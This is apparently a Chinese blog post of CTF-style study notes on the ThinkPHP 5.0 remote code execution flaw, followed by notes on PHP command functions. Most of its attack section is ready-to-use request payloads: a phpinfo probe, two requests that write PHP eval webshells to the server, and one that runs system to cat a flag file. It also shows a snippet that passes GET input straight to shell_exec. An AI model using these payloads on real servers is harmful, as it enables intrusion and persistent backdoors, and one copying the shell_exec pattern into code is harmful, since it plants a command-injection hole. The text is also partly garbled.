远程执行RCE漏洞,命令基础学习

thinkpad 5.0 rce漏洞

一,直接构建payload

payload与在get中写一句话木马的方法且构建cat命令的方法


执行payload
//①
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
//②
写一句话木马在get中直接用//即利用function=vars[0]=“命令内容1”&vars[1][0]="命令内容2"&vars[1][1]="命令内容3"状况
//①利用post写
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=shell.php&vars[1][1]=<?php eval($_REQUEST["a"]);?>

//②利用reauest代写
/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>

②利用cat命令结合抓取flag

?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system("cat%20../../../flag");%27//思考勾搭cat命令抓取思路

二,原理

  1. 通用系统的执行命令漏洞
    利用方法:
    具有可以ping的东西或者可以提交eval命令的文本框
    在这里插入图片描述
  2. 系统允许语言的执行漏洞
    php环境的漏洞
    在这里插入图片描述

注意bug

一,系统允许执行的命令函数之间的区别
①.exec与shell的典型用法和区别
典型用法

exec($cmd.' 2>&1',$output,$status);
//$cmd:shell脚本

//2>&1:表示shell脚本执行过程中的错误信息会被输出

//$output:数组格式,用于存储2>&1输出的错误信息

//$status:shell脚本的执行状态,0表示成功,其他都表示失败

$result = shell_exec($cmd);
//$cmd:shell脚本
//$result:shell脚本的执行结果

区别:

  1. exec只是返回一个状态值且不需要定义一个变量进行引用输出值(shell需要一个变量输出all值)
  2. exec只输出一个,shell_exec输出all
shell_exec
<?php
$cmd = $_GET['name'];
echo shell_exec($cmd);
?>//(返回的是all的值,exec只返回一个 )且语句类可以构造正则御语句执行状况
//如$cmd = shell_exec('ping ' . $taeget);



②system与passthru()的区别
作用:即执行给予的参数的命令且直接输出结果

//passthru直接将结果输出到浏览器,其可以输出二进制,比如图像数据
<?php
passthru("ls");
?>//pasyhur的使用类
<?php
system("ls /");//system的使用
?>
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值